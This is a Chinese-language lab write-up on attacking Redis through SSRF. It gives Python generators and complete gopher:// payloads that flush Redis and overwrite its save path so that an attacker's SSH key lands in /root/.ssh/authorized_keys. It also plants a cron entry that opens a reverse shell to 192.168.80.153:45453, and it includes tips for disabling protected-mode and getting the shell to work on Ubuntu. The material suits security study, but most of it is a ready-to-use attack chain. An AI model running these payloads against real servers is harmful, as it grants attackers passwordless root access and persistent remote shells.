REDIS
redis作為一種資料庫 其實是會真的將資料寫入到記憶體中的
我們利用ssrf請求 請求redis 實現伺服器對自己的公鑰或任務計劃寫入 實現無密碼登入
或反彈bash
redis監聽所有地址時 才能被外部訪問 否則只能127.0.0.1 本地訪問
而且開啟保護模式後會導致目標埠只能本地訪問
這時就需要結合 ssrf
redis儲存資料以鍵值對形式
環境為docker搭建的centos環境
可見 寫入的內容 目錄也是能修改的
檔名也可以修改 因此 我們可以構造 一個公鑰寫入到目標伺服器中 達到無密碼登入目標主機的目的
可見目標成功寫入
SSRF
透過伺服器進行請求偽造 利用gopher 協議或 dict對 redis進行請求實現 檔案的寫入
公鑰的寫入
gopher生成指令碼
def ssh_key_write(ssh_dir="/root/.ssh"):
res = ""
pubkey_path = "/home/{}/.ssh/id_rsa.pub".format(os.getlogin());
if(not os.path.exists(pubkey_path)):
print("Please Run : ssh-keygen -t rsa")
exit(1)
pubkey = "\n\n" + open(pubkey_path,"r").read()
res += generate_resp('flushall')
res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(pubkey)))
res += generate_resp('config set dir {}'.format(ssh_dir))
res += generate_resp('config set dbfilename authorized_keys')
res += generate_resp('save')
res += generate_resp('quit')
res = res.replace("A" * len(pubkey),pubkey)
res = res.replace("\n","\r\n")
print(generate_gopher(res))
生成的payload:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$565
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCu/eN10PB4xGAuEASpWHW/8bb13ZcqOPAf0G02bMlx629t1BToHekqV4uTKAEp6LgzeaMjI5BIdfv6b0noI/t6GQ2cwcOEh70Shvy1QVfIraYN73KwWZkU55tHMN97tT+RW4wH3iPsocWYh828EC0Ps+04ie28y9sMSMErhAZS0FVsG8bVFby6rVU7dfV/u4EVBGp+obnLuRU+evOIGr8avo/iCMh6U+YeVSBwtvri8HCgJOBPoxJdWQXBDVGfBDvzgnOp2+ay5QZBZ8rht171zLoC5Vkcf89EKCR0MnhwXo3dJWgbCNOwKfIY0W3WnNklz4iez8Tu0GAH9b/0y24YdsAmS+HaUYv3czX5Ss74aa+qVLdOgxBcFCVZ2ljlhynsB/0DNKnEtlCbOlLYnx6N29i6yPbrqP6xcMQOXPPHqq+sXv4ltqES28NeIw2FsfJAzJP+MDuFM6aVcjga3m9MgP9P0YEafm4GGHno/OHPu8okS26EWbpNvDFmmCCjgMk= kali@kali
*4
$6
config
$3
set
$3
dir
$10
/root/.ssh
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit
我們這樣進行請求
當然要先進行編碼
可以看到 公鑰成功被上傳到了伺服器中
ssh請求:
環境中Dockerfile存在一些問題 我做了一些修改 否則docker映象中22埠起不來
執行/usr/sbin/sshd
啟動sshd
接下來就可以無秘鑰直接利用公鑰登入到目標伺服器了
ubuntu 與centos基本一致 但是由於redis的保護配置
導致這些屬性不能被修改
需要將 protected-mode 關閉
CONFIG SET protected-mode no
修改為gopher格式:
*4
$6
config
$3
set
$14
protected-mode
$2
no
試了一下 還是不行
檢視docker環境後發現該redis版本為7.2.5 安全性提高
在新版本的redis中只能透過配置項修改dir和dbfilename
後面我將dokcerfile做了修改 拉取了5.0.5的redis
同樣的操作:
成功拿到shell
SSRF計劃任務實現shell反彈
centos:
生成指令碼:
def cron_write(ip, port=8080, os_type="centos"):
if os_type == "centos":
crontab_path = "/var/spool/cron/"
else:
crontab_path = "/var/spool/cron/crontabs"
cron_command = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'\n\n".format(ip=ip, port=port)
res = ""
res += generate_resp('flushall')
res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(cron_command)))
res += generate_resp('config set dir {}'.format(crontab_path))
res += generate_resp('config set dbfilename root')
res += generate_resp('save')
res += generate_resp('quit')
res = res.replace("\n","\r\n")
res = res.replace("A" * len(cron_command), cron_command)
print(generate_gopher(res))
生成payload:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$74
*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.80.153/45453 0>&1'
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit
其實就是利用gopher 將*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.80.153/45453 0>&1'
寫入到定時任務中
這是寫入的內容
kali中利用nc監聽埠 等待連線
成功反射
ubuntu
ubuntu的shell反射 我們先找一個環境試一下:
/bin/bash -i >& /dev/tcp/192.168.80.153/45453 0>&1
可以成功
接下來利用ssrf寫入到crontab中 等了很久都沒有彈shell
首先 ubuntu的cron目錄其實在
/var/spool/cron/crontabs
下
所以我們要對payload做一些修改
發現還是沒有回彈
那麼我們需要進行一下測試
為什麼ubuntu的crontab沒有回彈shell
這裡用kali進行演示
寫入了任務計劃
但遲遲沒有反彈
將錯誤資訊寫到tmp目錄下進行檢視
┌──(root㉿kali)-[/tmp]
└─# cat error.txt
bash: cannot set terminal process group (457594): Inappropriate ioctl for device
bash: no job control in this shell
bash: bash -i >& /dev/tcp/192.168.80.153/45453 0>&1: No such file or directory
發現 主要問題是no such file 這是由於cron預設執行環境為/bin/sh
我們發現 sh其實是dash的軟連線 而dash是非互動式的shell 效率優於bash
瞭解後 我們需要知道 bsah -i 回彈的是互動式的shell 要求比較高 而bash -c 回彈的是非互動式的shell 要求低 在ubuntu中更推薦使用bash -c 來實現命令的互動
我們測試一下
成功連線
於是我們再次進行ssrf的嘗試
生成一個這樣的指令碼
還是不行 由於ubuntu的crontab 具有644許可權 會無法啟用 必須要用600許可權
還是非常難成功的